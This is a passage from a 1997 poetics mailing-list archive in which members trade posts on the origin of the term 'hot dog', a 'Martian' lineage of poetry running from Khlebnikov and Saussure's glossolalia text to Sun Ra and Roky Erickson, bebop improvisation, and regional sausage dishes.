>library resource/question desk, and if anyone thinks such use is an abuse
>of the list, I apologize.
>
>Unless anyone else is remotely interested, please email me directly at
>[redacted] and not the poetics list.
>

no, please respond to the list; i'd be fascinated.--md

↑ Index

744. **dbkk**

Re: dog days

Tue 22 Jul 1997

At 8:25 PM -0400 7/22/97, charles alexander wrote:

> *Her question: when did the term "hot dog" (meaning the sandwich, mostly)*
> *come into usage, and why did it come into usage, or how? Any information is*

> *much appreciated. I couldn't find it all in the OED, and while I found it in some other dictionaries, I didn't find any historical information of use.*

Charles,

On Alta Vista I looked up "hot;dog and origin;of"

I found the following under the wordwizard site:
http://wordwizard.com/club/askww/

It has the orgins of lots of fun words.

Ask

The Word Wizard

hot dog - the American version for frankfurter

Question:

What is the derivation of "hot dog" I have several students (ESL) that I am tutoring and I con't explain this term to them.

Frederick Gilmore (Traverse City - U.S.A.)
Mar 16, 1997

Answer:

This is the enrty from my forthcoming Casell's Dictionary of Slang (pub. 1998)

hot dog n. [late 19C+] (orig. US) a spiced, heated sausage, served on a split roll and garnished, traditionally, with 'rags and paint': sauerkraut and mustard;

2. the penis (cf. HIDE THE HOT DOG).

Ety:

[SE since c. 1939, when it was served under that name by the Coney Island Chamber of Commerce to President Franklin D. Roosevelt and his guests, King George VI and Queen Elizabeth of England, the hot dog started life as slang. It probably comes from heavy-handed mid-19C humour focussing on the supposed use of horse- and dog-meat as sausage filling, a concept that was accentuated by the 1843 scandal concerning the use of dog-meat for human consumption. The image was intensified by the use c. 1860 by German immigrants of hundewurst: dog sausage to mean smoked frankfurter sausages (larger sausages were pferdwurst: horse baloney); the dachshund, of course was a `sausage dog']

Sorry to bring up definition #2!

Dodie

↑ Index

745. **Tom Mandel**
neethur george nor elisa kant spell
Tue 22 Jul 1997

"agression?" (djordg)

"palpatating?" (Elixa)

By the way, I have not understood one word, not one word, of the "whore" "faggot" thread. I hope most of you are equally lucky.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

746. **Aldon L. Nielsen**
Re: hot dog nominalism
Tue 22 Jul 1997

---

and in many parts of the country, including Detroit (which I just visited), those things are still called "Coney Islands" --

anybody know when "hot dog" got to mean "top gun"?

↑ Index

747. **James Finnegan**
Re: Peter Ganick
Tue 22 Jul 1997

Peter Ganick asked me to
relay the message that due to
a computer crash and travel
he'll be off-line for most of August.
Should anyone want to reach him,
his snail mail address is:

181 Edgemont Ave
W. Hartford CT 06110

↑ Index

748. George Bowering
Re: Hanford
Wed 23 Jul 1997

Yep, and all this sophisticated sensitivity makes us British Columbians feel all warm and fuzzy, because Hanford is just a few kilometers from us. Or as a US-American fisher said on Canadian TV last night: "You people have been living under our wing forever." We love things like that.

<< Enjoy Seattle Ron. My sister worked in Hanford in the late 80's or
>early 90's. The place became the world's biggest requirer of scientists
>overnight when a new research facility was opened to try to find out why a
>crust had formed over the nuclear material in the reactors. The
>occasional burp of gases through said crust, I think Fiona, my sister,
>said every 15 mins, increased the risk of the things exploding by surely
>it wasn't 50%? She now works in Italy after a minor hiccup one Thursday
>afternoon. T-shirts were on sale in Hanford bearing the mushroom cloud
>image under which was written: Made in America, Tested in Japan. It
>still shocks me. >>
>
>Reminds me of the notorious team mascot of Richland (i think) High School,
>just down the river in Richland, WA: the Bombers. Dont know the team
>colors, but the football team helmets, etc, sport a mushroom cloud as the
>school logo, and apparently there is also a very large cloud painted in
>the school gym, to make those pep rallies all the more lively.
>
>BC

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

749. George Bowering
Re: hot dog nominalism
Wed 23 Jul 1997

> *anybody know when "hot dog" got to mean "top gun"?*

In most sports and activities modelled on sports, a hot dog is a show off who makes the play look tougher than it was, or who uses more flair than Joe DiMaggio would. You always shout something like this at him: "Hey! You want mustard with that?"

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

750. Hugh Steinberg
Re: What came before?a Martian poetics 1916
Wed 23 Jul 1997

Wasn't there a whole "martian school" of poetry in Britain during the 70's-80's, centered around Craig Raine's "A Martian Sends a Postcard Home?"

Hugh Steinberg

> *not to mention --again --spicer, sun ra and guido cavalcanti*
>
> *At 7:49 PM -0500 7/22/97, Christina Fairbank Chirot wrote:*
> *Martian poetics has already been accomplished*
> *at least in part--a project ongoing*
>
> *see from 1916 "The Trumpet of the Martians" in Collected Works of*
> *Velimir Khlebnikov Volume One 321-24 (Harvard UP 1987)*
>
> *"All the illustrious particpants in Futurian publications are*
> *hereby promoted from the ranks of human beings to the ranks of Martians."*
>
> *ZA DA ("beyond yes")! --dbchirography*

↑ Index

751. Hugh Steinberg
Re: dog days
Wed 23 Jul 1997

Charles, et al:

According to my Webster's new collegiate, the use of "Hot dog" as exclamation traces back to 1906, while the verb "to hot dog" dates from 1962.

Hugh Steinberg

> *At 8:25 PM -0400 7/22/97, charles alexander wrote:*
> *...*
>
> *Her question: when did the term "hot dog" (meaning the sandwich, mostly) come into usage, and why did it come into usage, or how? Any information is much appreciated. I couldn't find it all in the OED, and while I found it in some other dictionaries, I didn't find any historical information of use.*
>
> *Her class is over at the end of this week, so an answer today or tomorrow would be most helpful. I don't think I've ever used this list before as a library resource/question desk, and if anyone thinks such use is an abuse of the list, I apologize.*
>
> *Unless anyone else is remotely interested, please email me directly at [redacted] and not the poetics list.*
>
> *no, please respond to the list; i'd be fascinated.--md*

↑ Index

752. **Mark Weiss**

Re: hot dog nominalism

Wed 23 Jul 1997

At 08:45 PM 7/22/97 -0700, you wrote:
>and in many parts of the country, including Detroit (which I just
>visited), those things are still called "Coney Islands" --
>
>anybody know when "hot dog" got to mean "top gun"?
>

1976 OED Supplement:
1.a. -N. Amer. slang_ ...1896 W.C. Gore in _Inlander_, _Hot Dog_, good, superior. "He has made some hot-dog drawings for---.'
1900 _Dialect Notes_ II. 1. One very proficient in certain things. 2. A hot sausage. 3. A hard student. 4. A conceited person. (followed by several examples of 1.)
2. A hot sausage enclosed as a sandwich in a bread roll. orig. _U.S._

Examples that follow, from O.Henry in 1908, Sinclair Lewis (Main Street, no less) in 1920, and three others in the twenties and early thirties, suggest that it was firmly established in its present senses by then. The guess as to origin in Dodie's communication is as good as any; could also be that the "hot dog" was the leader of the pack, or a good dog in the dog-fight ring, and got applied to

the sausage as an approbation. Aldon--more on "Coney Islands?" I've never heard the usage. I would guess that it comes from the brand-name "Coney Island Franks" from the '70s, I think.

↑ Index

753. Jordan Davis
Re: What came before?a Martian poetics 1986
Wed 23 Jul 1997

To add to DBC and MD's lists, Craig Raine is one of the more recent self-proclaimed martianists .. in his case tho Mars is not so much a trope of alterity as it is a chance to anthropologize and enstrange our own strange and beautiful planet.

Looking for the rock named "Fritz",
Jordan

PS what about a contrarian poetics of consensus ... the difference between parliamentary debate and collaboration is .. what?

↑ Index

754. Christina Fairbank Chirot
Re: paranomasia a bibliographic note
Wed 23 Jul 1997

Yesterday re paronomasia i noted the use of this in some contemporary Russian poetry. not having the reference to hand was not specific (i.e. not poetic practice which is specific) so here is an excellent reference that may be of much use to those interested:

Vsevolod Nekrasov, Master Paronymist

by Gerald Janecek
in Slavic and East European Journal Volume 33 Number 2
Summer 1989 275-292

From Professor Janecek i understand the essay will be included as well in a forthcoming collection of his essays. I would also very highly recommened to anyone interested in Russian Futurism his most recent book from San Diego State UP Zaum The Transrational Poetry of Russian Futurism The book is for most part focused on this writer's exemplar Kruchonykh. Examples of Kruchonykh's work and excerpts from Professor Janecek's book may be found at Light and Dust Mobile Anthology of Poetry at
http://www.thing.net/~grist/homekarl.htm

Henry Gould noted re anagram a book by John Irwin on Borges and Poe to which add a very high recommendation for another book of Irwin's American Hieroglyphs which is concerned with the influence of the then recently translated Egyptian hieroglyphs on the writers of the "American Renaissance"--esp. Melville and Poe's Narrative of Arthur Gordon Pym. Robert Smithson in his great essay (concerns art as well as poetry and poets writing art criticism) "A Sedimentation of the Mind: Earth Projects" recommends Poe's book as excellent art criticism and presentation of "proto-earthwords". --davebaptistechirography ZA DA!

↑ Index

755. **Michael Heller**
(no subject)
Wed 23 Jul 1997

Gywn:

Hypotaxis--which refers to subordination, arranging under, etc. as opposed to parataxis which refers to arranging side by side or juxtaposing. A lot on these distinctions in various studies on Pound.

↑ Index

756. **Herb Levy**
Re: L-Dopa
Wed 23 Jul 1997

> *On Tue, 22 Jul 1997 09:57:50 -0400 Jordan Davis said:*
>
> *Implicit in Bob's description of performance poetry is the idea that a poet is better off where the contract is clearer -- i.e. where the audience knows that they don't know the rules. (Viz Rod Smith's post -- inspiration comes from listening to Bird -- bop ((like abstract expression)) being a systematization of surprise ((or maybe just a few simultaneous incarnations of Shiva in the world?)) -- the jazz audience contracting to have their minds blown -- to know that they werent' going to know -- to be ok with that -- the parallels between bop and serialism?)*
>
> *just a coupla comments on the always-always posts of JD & his aliases. I have trouble relating the poet/listener contract described(?) here with be-bop. Other extensions of jazz, maybe (O. Coleman? Sun-Ra?) - but in bop I hear a lot of form, control, expectations. Not that I'm an expert.*

Jordan & Henry,

You're both right about be-bop, you're just writing about two different moments in its life cycle. I'll continue with the musical analogy, despite clear differences

in how things work in the performing arts, I think the potential parallels are also clear.

There was a time when bop was the very essence of the sound of surprise (to swipe a phrase from Whitney Bailliett), though now it's rare (though certainly not impossible) for an improvisor to play bop with the kind of freshness of the folks who developed the form. More often someone playing be-bop nowadays is someone who learned it as a set of rules, possibly in an accredited degree program, rather than someone who's using it as a language system to create within. Over time, innovation calcifies into form which in turn calcifies further into cliche. (Late SunRa performances, for instance, were mostly sloppy versions of swing-era tunes, hardly the Magic City or HeliocentricWorlds). Interesting sometimes, but not always inspired or inspiring.

While I'm not advocating that more musicians (whether they play jazz or grunge) becoming junkies, there is something dis-concerting about hearing a bunch of very clean & very straight high school kids who have learned the rules of playing be-bop "correctly" - in most, though not all, cases, I'd rather hear their rock bands.

This is probably true for most (again, though, not all) post-bop forms of improvisation, or for that matter, most performing arts. To bring it around (I think) to Jordan's point, though this is my take on it, not his: one can learn the formal structures of a style at any time, but there's a point after which one can not partake of the community of peer out of which the style developed.

To use a non-musical example, is it possible to imagine an emerging poet using some of the formal procedures of, say, Language poetry, to write a work that was non-ironically supportive of, say, the views of the Christian Right?

I'm not (just) arguing for a simple form of "authenticity" here, there are (shudder) those who'll say one shouldn't play "free improv" unless it's clear that one can "really" play other kinds of music, but there's often less room for irony, sarcasm, irreverence, etc. among artists who don't have some kind of stylistic ownership.

(On the other hand, considering Jordan's use of a parallel with serialism, perhaps he's thinking of listeners who know the rules as a language, as the musicians do which happens before the calcification of the forms, but after the initial development by the originating community of artists.

(For that matter, one of the most effective definitions of new music I know of is simply "music you haven't heard before." So maybe you should just forget all of the above, especially to whatever extent it may pertain to any possible parallels with poetry or other art forms.)

Bests,

Herb

Herb Levy
[redacted]

↑ Index

757. **Herb Levy**
Re: dog days
Wed 23 Jul 1997

Dodie Bellamy, in the interest of completeness & apparently despite her better judgement, quoted the following:

> *2. the penis (cf. HIDE THE HOT DOG).*

Guess I've lead a sheltered life or something, but when, or more likely, where (& does anyone know if the Dictionary of American Regional English is available online?) I was growing up, the expression wasn't "hide the hot dog," but "hide the salami."

Herb Levy
[redacted]

↑ Index

758. **Judy Roitman**
Re: repetitions
Wed 23 Jul 1997

> *I agree with Joel that repetitions of topics within short time frames can be frustrating. ...*
> *charles*

Not everyone can read the archives. My old computer could only call up messages from the first few days of a given month before becoming overloaded.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

759. **Judy Roitman**

Re: dog days

Wed 23 Jul 1997

> *At 8:25 PM -0400 7/22/97, charles alexander wrote:*
> *...*
>
> *Her question: when did the term "hot dog" (meaning the sandwich, mostly) come into usage, and why did it come into usage, or how? Any information is much appreciated. I couldn't find it all in the OED, and while I found it in some other dictionaries, I didn't find any historical information of use.*
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> *Her class is over at the end of this week, so an answer today or tomorrow would be most helpful. I don't think I've ever used this list before as a library resource/question desk, and if anyone thinks such use is an abuse of the list, I apologize.*
>
> *Unless anyone else is remotely interested, please email me directly at* [redacted] *and not the poetics list.*
>
> *no, please respond to the list; i'd be fascinated.--md*

Me too. This is a great use of a list.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

760. **George Thompson**

Re: What came before?a Martian poetics 1916

Wed 23 Jul 1997

About Sun Ra: there's an interesting new biography of him [I forget the details]. Unfortunately, one of his sisters is quoted as saying, her eyes rolling upward in exasperation, that he was born and raised right here on earth.... But maybe she's missed something, or has an axe to grind.

Other members of the Martian poetics lineage might include St. Paul [yes, that's right]. He was a glossolalist too, though for some reason he attributed his inspiration to the Holy Ghost rather than to Mars.

The Jakobson-Khlebnikov connection is very clear. I wonder if K. was familiar with Saussure's work on Martian, published in Flournoy's book in 1900?

Many others could be mentioned, but I think esp. of Borges. Apparently he had something to to with the following homophonic translation of Saussure's Martian text:

>mode' tanine'e ce' ke' mache radzire' ze' tarvini
>va nini nini trime'ne^ni ii adzi
>ce' ze' sei¨mire' ve'tiche
>i mode' ine'e ke'vi be'rimir m hed
>machiri ce' di trine' ti e'stotine' ni baze'e animina
>i mode' ce' me'i¨ adzi iline'e
>i mode' ine'e ce' ke' le' naze`re ani --
>mira^ mode' itatine'e
>mira^ mira^ mira^
>
Homophonic Translation:

mode' tanine'e ce' ke' mache radzire' ze' tarvini
va nini nini trime'ne^ni ii adzi
ce' ze' sei¨mire' ve'tiche
i mode' ine'e ke'vi be'rimir m hed
machiri ce' di trine' ti e'stotine' ni baze'e animina
i mode' ce' me'i¨ adzi iline'e
i mode' ine'e ce' ke' le' naze`re ani --
mira^ mode' itatine'e
mira^ mira^ mira^

It strikes me as being both *very* literal and *very* accurate, more so than Zukofsky's Catullus, though perhaps less lyrical and not as funny.

GT.

[no sign of activity on the Sanskrit front]

↑ Index

761. Daniel Bouchard
this is
Wed 23 Jul 1997

---

this is one of those letters

↑ Index

762. **Mark Weiss**
hot dog
Wed 23 Jul 1997

A propos, a Dictionary of American Regional English (or similar title) Vol 1 A-C came out some years ago--I bought it, it's in deep storage at the moment. It was projected for 8 or 10 thick volumes. I've seen nary a word since. Does anybody know its fate? It was a wonderful thing, although full of ommissions (they did project a supplement, asked for reader input): modeled after the OED, and in addition it plotted words and phrases for frequency of occurrence on a schematic map of the US.

↑ Index

763. **Mark Wallace**
elaborating multiples
Wed 23 Jul 1997

Thanks very much, Jordan, for suggesting that I might say more! What could be more fun than elaborating!

I think, in this case, that Henry Gould's comment is almost exactly what I mean--a conscious multiplicity of form in a writer might seek a radical alteration of formal perspective from book to book, from poem to poem, or even within a single poem. It's one of the things my own poetry has been about, frankly. My first book was very much about shifts in perspective from line to line; I've done very lyrical work like in my Standing Stones chapbook and in things like the Oblek anthology; I published a book of Sonnets last year (not quite traditional ones); I've worked with chance and "deterministic" techniques in an issue of Abacus; and my soon to be available Edge Book might be taken for Ron Silliman-like parataxis if I didn't so consistently lack his intelligence. Some books I've done have been more or less in a single structure which I then don't use again; other things I've done shift structure within the work. I published in AVEC, "The Necessity of Feet" a 12-page poem in which the form of each page was consciously different, and I've done that several other times as well. I've been pushing this structural shift within works lately; I've got a piece I think of as a long (about 50 page) poem in which I try to call up as many different structural shifts as I can think of, although certain structures do repeat (I'm not so interested in complete differences of structure as I am in the tension between similarity and difference in structure).

So that's where I'm at. What this attempt has to do with the work of other writers of my generation is not clear. Certainly my attempt is NOT new or particular to this moment in time, but I'm less interested in whether it's new as in whether it feels worthwhile at this moment, and I think it does. By no means do

I think of my own attempt as characterizing the work of other writers of my generation--it clearly does NOT characterize them, or at least more than some of them. But while I am sympathetic to Henry's assertion that the matter CAN'T be considered from merely a generational perspective, what I DO think is true is that many writers of my own generation (which is more or less yours, Jordan, I guess, maybe) have a different relation to the history of the poetries we've read. And I think the difference is THIS; that because of historical circumstances, many of us have learned about more differing traditions of poetry than any previous generation of writers, which gives us both increasing options as well as increasing irony about the idea that some "new" direction in poetry is going to save or make anybody. Some of my langauge poetry friends describe coming up in a time where repression of poetic possibilities seemed the rule, but equally a time in which they seem to have felt that their poetic revolution would be heard, someplace or other. My own sense is more like I can do anything I want in poetry, with little chance of it being heard anywhere. This is a bit of an exaggeration, of course, but it's like what they say about freedom of speech in the U.S.--you can say what you want because nobody's listening. I don't, for the most part, encounter students or even professors who are "resistant" to formally experimental poetry, or who desire formally traditional verse. I encounter students and professors who usually don't read any contemporary poetry at all. There are obviously a few exceptions, but I do mean a FEW. And certainly it's true that more formally conservative approaches still get most of whatever CASH there is in poetry.

Non-poetry people are probably not the point, of course, so I'll get back to the subject. In his forthcoming article, Mark Ducharme is right that my arguments don't DESCRIBE the writers of my generation. But I never meant them to. Still, what IS at stake in a description of such writers? And I think there are some pretty interesting answers here. If these writers are characterized by "diversity," then we're describing a kind of free-for-all smorgasborg of writers borrowing from various traditions all of which are okay. But we're not NECESSARILY describing writers with consciousness about form, or writers working out of any more than singular traditions. IN the worst case scenario, for my money, we all end up seeming borrowers of earlier and more vital traditions--Jordan Davis and Lee Ann Brown are latter-day New York School, Rod Smith and Jefferson Hansen are latter-day language poets, Jennifer Moxley likes traditional lyrics, Lisa Jarnot is just imitating Bernadette Mayer. And I've heard enough arguments LIKE that to know that the risk that things will be taken that way is real. But it would also, of course, be wrong.

So I see a number of reasons for polemically asserting the value NOT of a free smorgasborg of traditions but of a conscious shifting, rearranging, and perhaps violating of the various poetic frameworks which existed before we did and

which became part of our education. I'm not sure whether Joel's post indicated some annoyance with ME that these issues keep coming up, but as long as people keeping asking questions like "What's next?" I see a value in trying to answer them, even if part of that answer must be a deconstruction of the question. And the issue is NOT simply about anxiety regarding language poetry--it's about finding poetic structures that make SENSE as a response to the world in which we find ourselves. And I don't think that's a question that any poet can really avoid. My saying that, of course, won't make it so--I think where Mark D's point about diversity has the drop on me is that MY conviction about what matters will never be everybody else's. Thankfully, I guess, and not, I guess.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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764. Mark Wallace

Mike Gold

Wed 23 Jul 1997

Anyone wanting an interesting take on Mike Gold might want to look at Richard Hofstaetler's (sorry about the spelling, but I don't have the book here) great book from the 60s, ANTI-INTELLECTUALISM IN AMERICA. There's a fascinating section on the Communist Party and Gold, reading it in the larger context of how intellectuality and anti-intellectuality have been at odds in American labor movements. If I remember correctly, RH quotes from one individual at the time (who was later described by people in the party as "terminally Bohemian," or something like that) talking about Gold as the intellectual who had MOST absorbed a sense of guilt about being intellectual, and therefore as the MOST ready to idealize the working man and deny his own non-working class roots. I think Ron Silliman is right to call him a "delicate stylist," but Gold was paranoid enough about his lack of "working class masculinity" that he probably would have been tempted to slug anyone who called him "delicate" about anything.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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765. **Aldon L. Nielsen**
Re: Parrhesia
Wed 23 Jul 1997

---

from hot dogs to hypotaxis, the list has been its old self these past few days, without giving up one iota (if such can be measured in iotas) of its generally sexy combativeness -- (by the way, I note that English "feist" , dial. for a small dog, also has the now obsolescent connection to "_fist_" -- "to break wind" --

HAS ANYONE ACTUALLY LAID EYES YET ON A COPY OF THIS LONG ANTICIPATED BIOGRAPHY OF SUN RA???

____
around Sunday I shall vanish from the fray for some indeterminate period of time -- Any who wish to reach me in the interim may write to me at:

Aldon L. Nielsen
760 Oak Walk
Apt. D
Goleta, CA 93117

once I get ensconced in my new job I'll be back on the net --

↑ Index

766. **George Bowering**
Re: L-Dopa
Wed 23 Jul 1997

Very much pleased by Herb's notes on be-bop.

Maybe go as far as (or toward) sense that even recordings of great bop, such as Bird and Diz on "salt peanuts" are never as good as hearing it really cooking live, when the surprises even surprise the hornist.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

767. **George Bowering**
Re: dog days
Wed 23 Jul 1997

> *Guess I've lead a sheltered life or something, but when, or more likely, where (& does anyone know if the Dictionary of American Regional English is available online?) I was growing up, the expression wasn't "hide the hot dog," but "hide the salami."*
>
> *Herb Levy*

Ah, another size freak heard from!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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768. **henry g**
Re: L-Dopa
Wed 23 Jul 1997

I'm gonna display my ignortance (good word - use it) once again, Herb - I thought bebop was invented by Monk, Bird, Dizzy and them - & was speeded-up offbeat un-scripted, yes - but what comes out is so deeply musical in terms of controlled harmonics - whereas what Coleman & Sun-Ra (yes, 2 very different) sound like to me is also deeply musical of course but it's CHAOTIC in a lot of ways - so I think of the surprise JD referred to as the chaos in the music - which I don't hear so much in the other above-mentioned - this is just dilettantism, I realize, & if you want to backchannel that's probably a good idea.

- Henry the harmonica

↑ Index

769. **David Israel**
Re: hot dog nominalism
Wed 23 Jul 1997

---

from Mark Weiss:

<< Aldon--more on "Coney Islands?" I've never heard the usage. I would guess that it comes from the brand-name "Coney Island Franks" from the '70s, I think.
>>

Ferlinghetti's "Coney Island of the Mind"
wouldn't, meseems, have the same ring
w/ such synonymy

d.i.

↑ Index

770. **henry**
Re: What came before?a Martian poetics 1916
Wed 23 Jul 1997

On Wed, 23 Jul 1997 12:27:32 -0400 George Thompson said:
>
>Many others could be mentioned, but I think esp. of Borges. Apparently he
>had something to to with the following homophonic translation of Saussure's
>Martian text:
>
>>mode' tanine'e ce' ke' mache radzire' ze' tarvini
>>va nini nini trime'ne^ni ii adzi
>>ce' ze' sei¨mire' ve'tiche
>>i mode' ine'e ke'vi be'rimir m hed
>>machiri ce' di trine' ti e'stotine' ni baze'e animina
>>i mode' ce' me'i¨ adzi iline'e
>>i mode' ine'e ce' ke' le' naze`re ani --
>>mira^ mode' itatine'e
>>mira^ mira^ mira^
>>
>Homophonic Translation:
>
>mode' tanine'e ce' ke' mache radzire' ze' tarvini
>va nini nini trime'ne^ni ii adzi
>ce' ze' sei¨mire' ve'tiche
>i mode' ine'e ke'vi be'rimir m hed
>machiri ce' di trine' ti e'stotine' ni baze'e animina
>i mode' ce' me'i¨ adzi iline'e
>i mode' ine'e ce' ke' le' naze`re ani --
>mira^ mode' itatine'e
>mira^ mira^ mira^
>

>It strikes me as being both *very* literal and *very* accurate, more so
>than Zukofsky's Catullus, though perhaps less lyrical and not as funny.

Thank you, George, for transversing us the Borgesian "wedge extractum" as it's called in 4th planet lingo. While I agree that this is by far the most accurate homophonicism of the text we have, I do hear a very faint temblor in Borges' rendition here of "nini nini trime'ne-ni" (transcribing his transposition, if I mighty be so bold) - the 2nd "nini" - a repetition in miniature of an initial non-repetitive repetition - seems drenched in a red-planet pampas atmosphere that only Borges (or JLB, as his nemesis LBJ used to taunt him) could corral. E verde? - Enrique Los Bastolos-Michaelski da Entrada dos Corralles

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771. **David Israel**
Re: hot dog
Wed 23 Jul 1997

(also) from Mark Weiss --

<< A propos, a Dictionary of American Regional English (or similar title) Vol 1 A-C came out some years ago--I bought it, it's in deep storage at the moment. It was projected for 8 or 10 thick volumes. I've seen nary a word since. Does anybody know its fate?>>

don't exactly know, but William Safire (in weekly "On Language" column in NYT Magazine) has been mentioning DARE, periodically, for years -- and I think he'll say, from time to time, that he got such & such info from so-and-so, who is [present tense] an editor with that project . . . or wurdz to that effect . . . from which I'd conjecture that it's still (anyway) "in the works" --

what expectation sees as alacrity
observation beholds as reticence

anticipated faster than a bat out of hell
it was on the slow boat to China . . . .

d.i.

↑ Index

772. **Christina Fairbank Chirot**
Re: What came before?a Martian poetics 1916
Wed 23 Jul 1997

---

one last Martian before i go/to the valley below to paraphrase bob dylan Roky Erikson leadsinger/songwriter/vocalist with the legendary Thirteenth Floor Elevators and later with his various Aliens bands in interviews often

speaks of his inspiration coming from Mars. on a double lp collection of work by musicians on the old International Artists label out of Houston (run by Kenny Rogers' cousin Leland, the label included besides the Elevators the original Red Krayola, Bubble Puppy and Lightnin' Hopkins) Roky tells an interviewer that the Punk classic (see Nuggets vol. one from Rhino or the old double LP on Sire) "You're Gonna Miss Me" is about the creature from the Black Lagoon and messages from Mars There are two volumes out now of Roky's writings. (Can't recall the publisher.) He has moved from Houston to Austin--maybe too much competition from the NASA crowd in Houston for Martian messages?
There is a tribute CD/double cassette out for Roky and many great covers of his work. For "You're Gonna Miss Me" see DMZ--the lp and various live recordings and the Nomads Stagger in the Snow collection. Also one by Doug Sahm on Border Wave lp. Then there was "Flying Saucers Rock and Roll" by Billy Lee Riley and His Little Green Men" . . . which you can get on most Sun rockabilly collections . . . dbchiromancy

↑ Index

773. **Gwyn McVay**
Re: What came before?a Martian poetics 1916
Wed 23 Jul 1997

Well, if we're going to go /there/, i.e. popular music shedding light on a Martian poetics, somebody better bring a copy of /Mars Hotel/ by the Grateful Dead--an instance of Perec-like linguistic play on the cover, which, if held up to a mirror, spells "Ugly Rumors."

Gwyn

↑ Index

774. **charles alexander**
Re: hot dog
Wed 23 Jul 1997

At 05:53 PM 7/23/97 -0400, you wrote:
>(also) from Mark Weiss --
>
><< A propos, a Dictionary of American Regional English (or similar title)
>Vol 1 A-C came out some years ago--I bought it, it's in deep storage at
>the moment. It was projected for 8 or 10 thick volumes. I've seen nary a
>word since. Does anybody know its fate?>>

I believe this is a project whose home for a long time, and perhaps still, was at the University of Wisconsin-Madison. It was under the direction of Fred Cassady for years, perhaps decades, and the research was so thorough that it

seemed everyone knew this was a project that volumes might be issued years apart from one another. But that was about as much as I knew about its status about 16 or so years ago. Now? I don't know -- any Wisconsin folk on this list who know about it?

charles

↑ Index

775. **David Israel**
Re: L-Dopa / rightwing langpo?
Wed 23 Jul 1997

---

following fine clarifications / thoughts abt. surprise & structure, Herb Levy poses this surprising formulation/question:

<< To use a non-musical example, is it possible to imagine an emerging poet using some of the formal procedures of, say, Language poetry, to write a work that was non-ironically supportive of, say, the views of the Christian Right?>>

don't know (am doubtful -- except for a Christian whose intelligence belies somewhat the nominative rubric), -- but at risk of blooperism, maybe I'll try any-way (at least a little).

strait is the gate & narrow is the path
your rutabaga's a tangential argument

you didn't read the rule-book? why bitch
at the curteous operator on the 800-line?

this ain't my theme-park -- hey I just work here!
you're trash -- the boss showed me your picture

there are reasons for everything -- the stars
are bright enough to follow sensible advice

go ahead put your head in a garbage bag
your pierre cardin suit is wrinkled hey

mr. versace! you've inherited miami vice
the lord is righteous but who said nice?

first you X out school prayer then you
belch in public -- what a Y-zenheimer!

you haven't got a prayer since you ripped it
from the mouth & the ears of my grandson

the good tree never once bore bad fruit
your boring confusion belies ineptitude

here's the value of your elite art movement:
effete monotony in the int'l jounral of farts

. . . [okay, enough enough; maybe more deep image than LangPo ... ?] (anyway don't blame me -- I was just trying to follow the assignment!)

↑ Index

776. **DS**
Re: dog days
Wed 23 Jul 1997

In NZ a hot dog is a sausage in batter - distinct from a sausage in sandwich - whcih we call an american hot dog

At 10:21 PM 7/22/97 -0600, you wrote:
>Charles, et al:
>
>According to my Webster's new collegiate, the use of "Hot dog" as
>exclamation traces back to 1906, while the verb "to hot dog" dates from
>1962.
>
>Hugh Steinberg
>
> >At 8:25 PM -0400 7/22/97, charles alexander wrote:
>>...
>>>
>>>Her question: when did the term "hot dog" (meaning the sandwich, mostly)
>>>come into usage, and why did it come into usage, or how? Any information is
>>>much appreciated. I couldn't find it all in the OED, and while I found it
>>>in some other dictionaries, I didn't find any historical information of use.
>>>
>>>Her class is over at the end of this week, so an answer today or tomorrow
>>>would be most helpful. I don't think I've ever used this list before as a
>>>library resource/question desk, and if anyone thinks such use is an abuse
>>>of the list, I apologize.
>>>
>>>Unless anyone else is remotely interested, please email me directly at
>>>[redacted] and not the poetics list.
>>>
>>
>>no, please respond to the list; i'd be fascinated.--md

>
>

↑ Index

777. Pam Brown
Re: dog days
Wed 23 Jul 1997

So what kind of edible food do you reckon a "toad-in-the-hole" might be ?
 Pam
At 06:01 PM 23/7/97 -0700, you wrote:
>At 10:43 AM +1200 7/24/97, DS wrote:
>>In NZ a hot dog is a sausage in batter - distinct from a sausage in sandwich
>>- whcih we call an american hot dog
>
>In the midwest and in California, the two dialects I'm most familiar with,
>hot dogs in a corn batter are called corn dogs.
>
>Little dogs with dough wrapped around them are called pigs in the blanket,
>a term I find jarring because, being raised in the Melting Pot, when we
>spoke of pigs in the blanket, we meant stuffed cabbages.
>
>Dodie
>
>

↑ Index

778. Steven Marks
Re: dog days
Wed 23 Jul 1997

On Thu, 24 Jul 1997, DS wrote:

> *In NZ a hot dog is a sausage in batter - distinct from a sausage in sandwich*
> *- whcih we call an american hot dog*

This reminds me of a dinner my mother used to make which she called "pig in a blanket." It was a sausage in Yorkshire pudding. For you Yanks (I'm one, too, but the only one in my family born in the States), Yorkshire pudding is more like a muffin than a pudding. Found out years later from a Scottish co-worker, that his folks called the same dinner, "toad in a hole."

It tastes better than it sounds. But then again, it is English fare.

TTFN,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

779. **dbkk**
Re: dog days
Wed 23 Jul 1997

At 10:43 AM +1200 7/24/97, DS wrote:
>In NZ a hot dog is a sausage in batter - distinct from a sausage in sandwich
>- whcih we call an american hot dog

